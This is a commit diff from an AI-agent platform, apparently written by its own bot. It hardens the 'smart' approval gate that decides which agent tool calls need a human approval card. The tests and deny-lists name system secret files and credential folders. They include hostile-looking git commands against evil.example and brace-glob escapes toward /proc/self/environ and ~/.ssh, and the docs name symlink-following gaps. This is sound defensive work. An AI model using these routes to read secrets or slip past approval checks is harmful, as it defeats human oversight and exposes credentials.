Skip to content

armgit / kwant

Public Imported from GitHub
0

Your own team of AI bots in one self-hosted binary: spaces, every account you have, handoffs, approvals and routines. Open-source, self-hosted alternative to Grok Bot, Claude Duet and OpenAI dots. Rust + React.

Smart approvals: network git, system secrets, malformed reads and Glob braces ask

Lin (kwant bot)ffbc45e4da38
diff --git a/docs/approvals.md b/docs/approvals.md
index 46976ec2..2721f44d 100644
--- a/docs/approvals.md
+++ b/docs/approvals.md
@@ -17,8 +17,13 @@ is refused and recorded as `denied`. Calls that run without a card are recorded
`details.smart_reason` says why it was safe (e.g. "runs inside the bot's folder and does nothing risky"), and a card's `details.smart_reason` says why it asked.
`smart` and `off` both need Bitwarden while the built-in password store holds passwords: see
-[saved-passwords.md](saved-passwords.md). `smart` is a guard against accidents, not a sandbox: a
-script in the bot's folder that it runs can do anything the bot's user can.
+[saved-passwords.md](saved-passwords.md).
+
+**`smart` is a guard against accidents, not a sandbox.** Scripts in the bot's folder (`./run.sh`,
+`bash x.sh`, `python data.py`), `make`, `cargo run`/`cargo build` (build scripts), and
+`npm install`/`npm run` (package scripts) run without a card, and can do anything the bot's user
+can, including the network and kwnt's own API. That includes a script the bot wrote a moment
+earlier in the same turn. Choose `ask` for bots or folders you don't trust.
## What `smart` runs without a card
@@ -36,7 +41,9 @@ script in the bot's folder that it runs can do anything the bot's user can.
short list: proxies `-x`/`--proxy`/`--socks*`, config files and `@file` ask), `sudo`/`su`, containers and
cloud CLIs, mail senders, process and system tools, credential tools, `xargs`/`parallel`,
`env`/`printenv` on their own;
- - `git push` and other git commands that leave the machine, touch global config or run a
+ - `git push`, `fetch`, `pull`, `clone`, `ls-remote`, `archive`, `remote` other than
+ `-v`/`get-url`/`rename`/`remove`, `submodule` other than `status`/`summary`/`init`, any git
+ argument that is a URL or `user@host:path`, and git commands that touch global config or run a
command (`rebase -x/--exec`, `--upload-pack`, `ext::`, `grep -O`, …); publish, login and
install commands of npm/pnpm/yarn/bun/cargo/pip/uv/gem/poetry/twine/go; `npx`, `bunx`,
`npm exec`, `pnpm dlx`, `yarn dlx`, `bun x` (they download and run package code);
@@ -54,6 +61,8 @@ script in the bot's folder that it runs can do anything the bot's user can.
- **Reads** (Read, Glob, Grep, LS, NotebookRead) outside the folder, unless they touch:
- live system data: `/proc`, `/sys`, `/dev`, `/run` (`/proc/self/environ` holds the gateway
token);
+ - the system's secrets: `/etc/shadow*`, `/etc/gshadow`, `/etc/master.passwd`, `/etc/sudoers*`,
+ ssh host keys in `/etc/ssh`, `/etc/ssl/private`;
- credentials, matched without regard to case: `.ssh`, `.aws`, `.azure`, `.gnupg`, `.kube`,
`.docker`, `.netrc`, `.pgpass`, `.vault-token`, `.claude`, `.codex`, `.cargo/credentials`,
`.config/gh`, `.config/gcloud`, password managers, browser profiles, keychains and keyrings,
@@ -64,7 +73,14 @@ script in the bot's folder that it runs can do anything the bot's user can.
any of the above (or a symlink, or more than 5,000 entries) somewhere below it.
Paths are checked as written and with symlinks followed; relative paths count from the bot's
- folder. A `~` path asks (a read with no path searches the folder, as before).
+ folder, and a Glob/Grep root that is a symlink is judged where it points. A `~` path asks. A
+ Glob's `{a,b}` alternatives are each checked (more than 64 ask). Input kwnt can't read (not an
+ object, a path that is `null`, a number or a list, a Read with no `file_path`) asks under every
+ mode; Grep/Glob/LS with no `path` search the folder, as before.
+
+ Known gaps, left as they are: options that follow symlinks (`grep -R`, `rg -L`, `find -L`,
+ `ls -R`, `zip -r`) run without a card, so a symlink already in the folder that points out of
+ it can be read through them.
- **MCP tools** the server marks `readOnlyHint: true` without `destructiveHint: true`. That is
the server's own claim. If kwnt can't check it, the call asks.
diff --git a/frontend/src/approvalMode.ts b/frontend/src/approvalMode.ts
index 9b8379eb..27614e5a 100644
--- a/frontend/src/approvalMode.ts
+++ b/frontend/src/approvalMode.ts
@@ -44,7 +44,7 @@ export const SPACE_OPTIONS: Array<{ value: SpaceApprovals; label: string; hint:
{
value: 'smart',
label: 'Ask only when risky',
- hint: 'Ordinary work in the bot’s folder runs on its own; a card asks before network calls, git push, publishing, anything outside the folder or anything unclear.',
+ hint: 'Ordinary work in the bot’s folder runs on its own; a card asks before network calls, git fetch and push, publishing, anything outside the folder or anything unclear. Not a sandbox: scripts, make and npm install inside the folder run without a card, and can do anything you can.',
},
{ value: 'off', label: 'Don’t ask', hint: 'Bots run everything without approval.' },
];
diff --git a/frontend/tests/approvalsSmart.test.mjs b/frontend/tests/approvalsSmart.test.mjs
index 243c9b08..3678e6a3 100644
--- a/frontend/tests/approvalsSmart.test.mjs
+++ b/frontend/tests/approvalsSmart.test.mjs
@@ -38,7 +38,8 @@ test('the space control offers "Ask only when risky" between Ask and Don\'t ask,
const values = [...html.matchAll(/value="(ask|smart|off)"/g)].map((x) => x[1]);
assert.deepEqual(values, ['ask', 'smart', 'off']);
const t = text(html);
- assert.match(t, /Ask only when risky Ordinary work in the bot's folder runs on its own; a card asks before network calls, git push, publishing, anything outside the folder or anything unclear\./);
+ assert.match(t, /Ask only when risky Ordinary work in the bot's folder runs on its own; a card asks before network calls, git fetch and push, publishing, anything outside the folder or anything unclear\./);
+ assert.match(t, /Not a sandbox: scripts, make and npm install inside the folder run without a card, and can do anything you can\./);
assert.match(t, /Ask before running commands \(default\)/, 'Ask stays the default');
});
diff --git a/src/mcp/builtin_tools.rs b/src/mcp/builtin_tools.rs
index 7bcbb9a1..a3c2bd23 100644
--- a/src/mcp/builtin_tools.rs
+++ b/src/mcp/builtin_tools.rs
@@ -40,6 +40,9 @@ pub fn decide(tool: &str, input: &Value, folder: Option<&Path>) -> BuiltinDecisi
return BuiltinDecision::Allow;
}
let reads = READ_TOOLS.contains(&tool);
+ if reads && malformed_read(tool, input).is_some() {
+ return BuiltinDecision::Ask { outside_folder: true };
+ }
if reads || WRITE_TOOLS.contains(&tool) {
let inside = match (folder, target_path(input)) {
// A Glob pattern names a place too (`/home/x/**`, `../../**`)
@@ -60,12 +63,75 @@ pub fn decide(tool: &str, input: &Value, folder: Option<&Path>) -> BuiltinDecisi
fn glob_stays_inside(input: &Value, folder: Option<&Path>) -> bool {
let Some(folder) = folder else { return false };
let pattern = input.get("pattern").and_then(Value::as_str).map(str::trim).unwrap_or("");
- let p = Path::new(pattern);
- if pattern.starts_with('~') || p.is_absolute() || p.components().any(|c| c == Component::ParentDir) {
- return false;
- }
+ let Some(patterns) = expand_braces(pattern) else { return false };
let base = target_path(input).unwrap_or_else(|| ".".into());
- is_inside(folder, &absolute(folder, &base).join(glob_root(p)).to_string_lossy())
+ patterns.iter().all(|pattern| {
+ let p = Path::new(pattern);
+ !(pattern.starts_with('~') || p.is_absolute() || pattern.contains(".."))
+ && is_inside(folder, &absolute(folder, &base).join(glob_root(p)).to_string_lossy())
+ })
+}
+
+/// Most patterns one Glob may expand `{a,b}` into before kwnt stops checking and asks.
+const BRACE_LIMIT: usize = 64;
+
+/// A glob pattern with its `{a,b}` alternatives written out, the way Glob reads them, or `None`
+/// when there are too many or the braces don't match.
+fn expand_braces(pattern: &str) -> Option<Vec<String>> {
+ let Some(open) = pattern.find('{') else { return Some(vec![pattern.to_string()]) };
+ let (mut depth, mut close, mut commas) = (0usize, None, Vec::new());
+ for (i, c) in pattern[open..].char_indices() {
+ match c {
+ '{' => depth += 1,
+ '}' => {
+ depth -= 1;
+ if depth == 0 {
+ close = Some(open + i);
+ break;
+ }
+ }
+ ',' if depth == 1 => commas.push(open + i),
+ _ => {}
+ }
+ }
+ let close = close?;
+ let (head, tail) = (&pattern[..open], &pattern[close + 1..]);
+ let mut bounds = vec![open];
+ bounds.extend(commas);
+ bounds.push(close);
+ let mut out = Vec::new();
+ for pair in bounds.windows(2) {
+ for rest in expand_braces(&format!("{head}{}{tail}", &pattern[pair[0] + 1..pair[1]]))? {
+ out.push(rest);
+ if out.len() > BRACE_LIMIT {
+ return None;
+ }
+ }
+ }
+ Some(out)
+}
+
+/// Why a read tool's input can't be judged: not an object, a path that isn't a non-empty string,
+/// or a Read with no file. kwnt asks rather than guessing where it looks.
+fn malformed_read(tool: &str, input: &Value) -> Option<String> {
+ let Some(fields) = input.as_object() else { return Some("kwnt can't read this tool call".into()) };
+ for k in ["file_path", "notebook_path", "path", "pattern"] {
+ if let Some(v) = fields.get(k) {
+ if !v.as_str().is_some_and(|p| !p.trim().is_empty()) {
+ return Some(format!("kwnt can't read where this looks (`{k}` isn't a path)"));
+ }
+ }
+ }
+ let needs = match tool {
+ "Read" => Some("file_path"),
+ "NotebookRead" => Some("notebook_path"),
+ "Glob" | "Grep" => Some("pattern"),
+ _ => None,
+ };
+ match needs {
+ Some(k) if !fields.contains_key(k) => Some(format!("kwnt can't tell where this looks (no `{k}`)")),
+ _ => None,
+ }
}
/// Whether a WebFetch could reach kwnt's own API on this computer (see
@@ -91,6 +157,9 @@ pub fn smart_verdict(tool: &str, input: &Value, folder: Option<&Path>) -> SmartV
}
if READ_TOOLS.contains(&tool) {
let Some(folder) = folder else { return SmartVerdict::Ask("the bot has no working folder this turn".into()) };
+ if let Some(why) = malformed_read(tool, input) {
+ return SmartVerdict::Ask(why);
+ }
return match read_risk(tool, input, folder) {
Some(why) => SmartVerdict::Ask(why),
None => SmartVerdict::Allow("reads outside the bot's folder, away from passwords and keys".into()),
@@ -111,14 +180,19 @@ fn read_risk(tool: &str, input: &Value, folder: &Path) -> Option<String> {
// Glob searches `pattern` under `path` (the folder when missing); an absolute pattern
// ignores `path`
let base = text("path").unwrap_or(".");
- let pattern = text("pattern").unwrap_or("");
- for p in [base, pattern] {
- if p.starts_with('~') {
- return Some("kwnt can't tell where a `~` path points".into());
+ let written = text("pattern").unwrap_or("");
+ let Some(patterns) = expand_braces(written) else {
+ return Some("its `{…}` alternatives are too many for kwnt to check".into());
+ };
+ for pattern in patterns {
+ for p in [base, pattern.as_str()] {
+ if p.starts_with('~') {
+ return Some("kwnt can't tell where a `~` path points".into());
+ }
}
+ let joined = if Path::new(&pattern).is_absolute() { PathBuf::from(&pattern) } else { absolute(folder, base).join(&pattern) };
+ places.push((pattern, joined));
}
- let joined = if Path::new(pattern).is_absolute() { PathBuf::from(pattern) } else { absolute(folder, base).join(pattern) };
- places.push((pattern.to_string(), joined));
} else {
for k in ["file_path", "notebook_path", "path"] {
if let Some(p) = text(k) {
@@ -134,7 +208,7 @@ fn read_risk(tool: &str, input: &Value, folder: &Path) -> Option<String> {
}
let searches = matches!(tool, "Glob" | "Grep");
for (written, path) in places {
- let root = if tool == "Glob" { glob_root(&path) } else { path.clone() };
+ let root = if tool == "Glob" { search_folder(&glob_root(&path)) } else { path.clone() };
for p in [Some(lexical(&path)), resolve(&root)].into_iter().flatten() {
if let Some(why) = denied_place(&p) {
return Some(why.replace("{}", &written));
@@ -177,6 +251,9 @@ const CREDENTIAL_ENDINGS: &[&str] = &[".pem", ".key", ".p12", ".pfx", ".jks", ".
/// Live process and device data: `/proc/self/environ` holds the gateway token.
const SYSTEM_PLACES: &[&str] = &["/proc", "/sys", "/dev", "/run", "/var/run", "/private/var/run"];
+/// The system's own password hashes, sudo rules and private keys (also under macOS's `/private`).
+const SYSTEM_SECRETS: &[&str] = &["/etc/shadow", "/etc/gshadow", "/etc/master.passwd", "/etc/sudoers", "/etc/ssl/private"];
+
/// Whether `path` (absolute) is live system data or names a credential, and why (`{}` stands
/// for the path as the bot wrote it).
fn denied_place(path: &Path) -> Option<&'static str> {
@@ -184,7 +261,15 @@ fn denied_place(path: &Path) -> Option<&'static str> {
if SYSTEM_PLACES.iter().any(|s| p == *s || p.starts_with(&format!("{s}/"))) {
return Some("{} is live system data and can hold secrets");
}
- credential_text(&p).then_some("{} can hold passwords or keys")
+ (credential_text(&p) || system_secret(&p)).then_some("{} can hold passwords or keys")
+}
+
+/// Whether a lowercase absolute path is one of [`SYSTEM_SECRETS`] (`/etc/shadow-` and
+/// `/etc/sudoers.d` included) or an ssh host key in `/etc/ssh`.
+fn system_secret(p: &str) -> bool {
+ let p = p.strip_prefix("/private").unwrap_or(p);
+ SYSTEM_SECRETS.iter().any(|s| p.starts_with(s))
+ || p.strip_prefix("/etc/ssh/").is_some_and(|name| name.contains("_key") && !name.ends_with(".pub"))
}
/// Whether a lowercase path names a credential folder or file anywhere along it.
@@ -226,7 +311,8 @@ fn broad_search(root: &Path) -> Option<String> {
return Some(format!("{shown} is too big for kwnt to check for passwords and keys"));
}
let path = entry.path();
- if credential_text(&path.to_string_lossy().to_lowercase()) {
+ let lower = path.to_string_lossy().to_lowercase();
+ if credential_text(&lower) || system_secret(&lower) {
return Some(format!("{} can hold passwords or keys", path.display()));
}
match entry.file_type() {
@@ -239,6 +325,18 @@ fn broad_search(root: &Path) -> Option<String> {
None
}
+/// The folder a Glob actually walks: `root` when it is one, else its nearest existing parent
+/// (so `pattern: "x", path: "link"` is judged where `link` points).
+fn search_folder(root: &Path) -> PathBuf {
+ let mut dir = lexical(root);
+ while !dir.is_dir() {
+ if !dir.pop() {
+ break;
+ }
+ }
+ dir
+}
+
/// The folder a glob pattern starts from: its path up to the first part with a wildcard.
fn glob_root(pattern: &Path) -> PathBuf {
let mut root = PathBuf::new();
@@ -337,7 +435,7 @@ pub fn prompt_block(folder: Option<&Path>, smart: bool) -> String {
};
let cards = if smart {
"Shell commands (Bash) that stay in that folder run without asking. Anything risky shows the person an approval card first: \
- the network (except local dev servers; requests to kwnt itself always ask), other users, git push, publishing, containers, mail, paths outside the folder, and \
+ the network (except local dev servers; requests to kwnt itself always ask), other users, git clone, fetch, pull and push, publishing, containers, mail, paths outside the folder, and \
commands kwnt can't read for sure ($(…), backticks, bash -c). Prefer plain commands and relative paths. \
Writing files outside the folder, and reading passwords or keys, also needs a card."
} else {
@@ -422,6 +520,76 @@ mod tests {
}
// Rigel's deny-list repros (smart-approvals gate, 2026-10-21)
+ #[test]
+ fn smart_reads_of_system_secrets_ask_like_bash() {
+ let (_tmp, ws) = folder();
+ for path in [
+ "/etc/shadow",
+ "/etc/shadow-",
+ "/etc/gshadow",
+ "/etc/sudoers",
+ "/etc/sudoers.d/90-cloud",
+ "/etc/ssh/ssh_host_ed25519_key",
+ "/etc/ssl/private/server.crt",
+ "/private/etc/master.passwd",
+ "/ETC/SHADOW",
+ ] {
+ assert!(!smart("Read", json!({"file_path": path}), &ws), "{path}");
+ }
+ assert!(smart("Read", json!({"file_path": "/etc/ssh/ssh_host_ed25519_key.pub"}), &ws));
+ assert!(smart("Read", json!({"file_path": "/etc/hostname"}), &ws));
+ assert!(!smart("Glob", json!({"pattern": "/etc/ssh/*_key"}), &ws));
+ }
+
+ #[test]
+ fn malformed_read_input_asks() {
+ let (_tmp, ws) = folder();
+ for (tool, input) in [
+ ("Read", json!({})),
+ ("Read", Value::Null),
+ ("Read", json!([])),
+ ("Read", json!({"file_path": null})),
+ ("Read", json!({"file_path": ["/etc/passwd"]})),
+ ("Read", json!({"file_path": 7})),
+ ("Read", json!({"file_path": " "})),
+ ("Grep", json!({"pattern": "x", "path": null})),
+ ("Grep", json!({"pattern": "x", "path": {"a": 1}})),
+ ("Grep", json!({"path": "src"})),
+ ("Glob", json!({})),
+ ("Glob", json!({"pattern": null})),
+ ("LS", json!({"path": false})),
+ ("NotebookRead", json!({})),
+ ] {
+ assert_eq!(decide(tool, &input, Some(&ws)), BuiltinDecision::Ask { outside_folder: true }, "{tool} {input}");
+ assert!(!smart_verdict(tool, &input, Some(&ws)).is_allowed(), "{tool} {input}");
+ }
+ assert_eq!(decide("Read", &json!({"file_path": "src/a.go"}), Some(&ws)), BuiltinDecision::Allow);
+ assert_eq!(decide("Grep", &json!({"pattern": "x"}), Some(&ws)), BuiltinDecision::Allow);
+ }
+
+ #[test]
+ fn glob_braces_and_symlinked_roots_are_judged_where_they_lead() {
+ let (_tmp, ws) = folder();
+ for pattern in ["{../..,x}/*", "{x,/etc}/*", "{x,~}/.ssh/*", "src/{a,{b,../../..}}/*", "{a,b"] {
+ let input = json!({"pattern": pattern});
+ assert_eq!(decide("Glob", &input, Some(&ws)), BuiltinDecision::Ask { outside_folder: true }, "{pattern}");
+ }
+ assert!(!smart("Glob", json!({"pattern": "{x,/home/*/.ssh}/*"}), &ws));
+ assert!(!smart("Glob", json!({"pattern": "{x,/proc/self}/environ"}), &ws));
+ assert!(!smart("Glob", json!({"pattern": "{x,~}/*"}), &ws));
+ let many = "{a,b,c,d}{a,b,c,d}{a,b,c,d}{a,b}/*";
+ assert!(!smart("Glob", json!({"pattern": many}), &ws));
+ assert_eq!(decide("Glob", &json!({"pattern": "src/{a,b}/*.rs"}), Some(&ws)), BuiltinDecision::Allow);
+ assert_eq!(expand_braces("a{b,c{d,e}}f").unwrap(), ["abf", "acdf", "acef"]);
+ #[cfg(unix)]
+ {
+ std::os::unix::fs::symlink("/etc", ws.join("etclink")).unwrap();
+ assert!(!smart("Glob", json!({"pattern": "x", "path": "etclink"}), &ws));
+ assert!(!smart("Glob", json!({"pattern": "etclink/*"}), &ws));
+ assert!(!smart("Grep", json!({"pattern": "x", "path": "etclink"}), &ws));
+ }
+ }
+
#[test]
fn web_fetches_of_kwnt_itself_ask_in_every_mode() {
for url in [
diff --git a/src/mcp/shell_risk.rs b/src/mcp/shell_risk.rs
index 30385c51..933977dd 100644
--- a/src/mcp/shell_risk.rs
+++ b/src/mcp/shell_risk.rs
@@ -274,7 +274,7 @@ const SAFE_DEVICES: &[&str] = &["/dev/null", "/dev/stdout", "/dev/stderr", "/dev
/// git subcommands that stay in the repository (or only fetch into it).
const GIT_SAFE: &[&str] = &[
"status", "diff", "log", "show", "add", "commit", "checkout", "switch", "restore", "branch", "merge", "rebase",
- "reset", "stash", "tag", "fetch", "pull", "clone", "init", "rev-parse", "ls-files", "grep", "blame", "worktree",
+ "reset", "stash", "tag", "init", "rev-parse", "ls-files", "grep", "blame", "worktree",
"cherry-pick", "revert", "mv", "rm", "describe", "shortlog", "reflog", "remote", "am", "apply", "format-patch",
"notes", "clean", "gc", "fsck", "cat-file", "rev-list", "merge-base", "show-ref", "symbolic-ref", "for-each-ref",
"ls-tree", "diff-tree", "name-rev", "range-diff", "sparse-checkout", "config", "submodule", "bisect", "help", "version",
@@ -592,6 +592,7 @@ fn git(args: &[Word], ctx: &Ctx) -> Verdict {
if !GIT_SAFE.contains(&sub) {
return Err(match sub {
"push" => "`git push` sends commits to another place".to_string(),
+ "fetch" | "pull" | "clone" | "ls-remote" | "archive" => format!("`git {sub}` reaches another computer"),
"send-email" => "`git send-email` sends mail".to_string(),
_ => format!("`git {sub}` isn't one kwnt knows is safe"),
});
@@ -620,18 +621,41 @@ fn git(args: &[Word], ctx: &Ctx) -> Verdict {
if let Some(a) = rest.iter().find(|a| runs(a)) {
return Err(format!("`git {sub} {}` can make git run a command", a.text));
}
+ if let Some(a) = rest.iter().find(|a| remote_address(&a.text)) {
+ return Err(format!("`git {sub}` names another computer ({})", a.text));
+ }
match sub {
"config" if has(&["--global", "--system"]) => return Err("`git config --global` changes git for the whole account".into()),
"config" if !has(&["--get", "--get-all", "--list", "-l", "--get-regexp", "--show-origin"]) => {
return Err("`git config` can change what git runs".into())
}
"submodule" if has(&["foreach"]) => return Err("`git submodule foreach` runs commands".into()),
+ // Only the parts that stay on this computer
+ "submodule" if rest.first().is_some_and(|a| !matches!(a.text.as_str(), "status" | "summary" | "init")) => {
+ return Err("`git submodule` can fetch from another computer".into())
+ }
+ "remote" if rest.first().is_some_and(|a| !matches!(a.text.as_str(), "-v" | "--verbose" | "get-url" | "rename" | "remove" | "rm")) => {
+ return Err(format!("`git remote {}` can reach or point at another computer", rest[0].text))
+ }
"bisect" if has(&["run"]) => return Err("`git bisect run` runs commands".into()),
_ => {}
}
all_paths_inside(rest, ctx)
}
+/// Whether a git argument is a remote address: a URL (`https://…`, `ssh://…`, `--x=https://…`)
+/// or the scp form `user@host:path`. `HEAD@{1}:file` and `rev:path` are not.
+fn remote_address(text: &str) -> bool {
+ let value = text.split_once('=').filter(|_| text.starts_with('-')).map(|(_, v)| v).unwrap_or(text);
+ if value.contains("://") {
+ return true;
+ }
+ match (value.find('@'), value.find(':')) {
+ (Some(at), Some(colon)) => at > 0 && at < colon && !value[at..].starts_with("@{") && !value[..colon].contains('/'),
+ _ => false,
+ }
+}
+
fn packages(name: &str, args: &[Word], ctx: &Ctx) -> Verdict {
const OUTWARD: &[&str] = &["publish", "unpublish", "login", "logout", "adduser", "token", "owner", "access", "deprecate", "dist-tag"];
if let Some(a) = args.iter().find(|a| OUTWARD.contains(&a.text.as_str())) {
@@ -1337,7 +1361,13 @@ mod tests {
"git log --oneline -5",
"git add -A && git commit -m 'Fix the thing; and more'",
"git checkout -b feature/x",
- "git fetch origin && git rebase origin/main",
+ "git rebase origin/main",
+ "git remote -v",
+ "git remote get-url origin",
+ "git submodule status",
+ "git show 'HEAD@{1}:src/a.rs'",
+ "git show HEAD:src/a.rs",
+ "git log origin/main..HEAD",
"git config --get user.name",
"grep -rn \"/api/approvals\" src",
"rg -n 'fn main' src",
@@ -1588,6 +1618,35 @@ mod tests {
}
}
+ #[test]
+ fn git_that_reaches_another_computer_asks() {
+ let (_tmp, ws) = folder();
+ for cmd in [
+ "git clone https://x.example/y",
+ "git clone ../other",
+ "git fetch",
+ "git fetch origin",
+ "git pull --rebase",
+ "git ls-remote https://evil.example/$x",
+ "git ls-remote origin",
+ "git remote update",
+ "git remote add evil https://evil.example/r",
+ "git remote set-url origin [email protected]:r",
+ "git remote show origin",
+ "git remote prune origin",
+ "git submodule update --init",
+ "git submodule add https://x.example/y",
+ "git submodule sync",
+ "git -C src fetch",
+ "git archive [email protected]:r HEAD",
+ "git diff https://evil.example/a",
+ "git log --format=x [email protected]:repo",
+ ] {
+ assert!(!classify(cmd, &ws).is_allowed(), "should ask: {cmd:?}");
+ }
+ assert!(matches!(classify("git fetch origin", &ws), SmartVerdict::Ask(why) if why.contains("another computer")));
+ }
+
#[test]
fn requests_to_kwnt_itself_ask() {
let (_tmp, ws) = folder();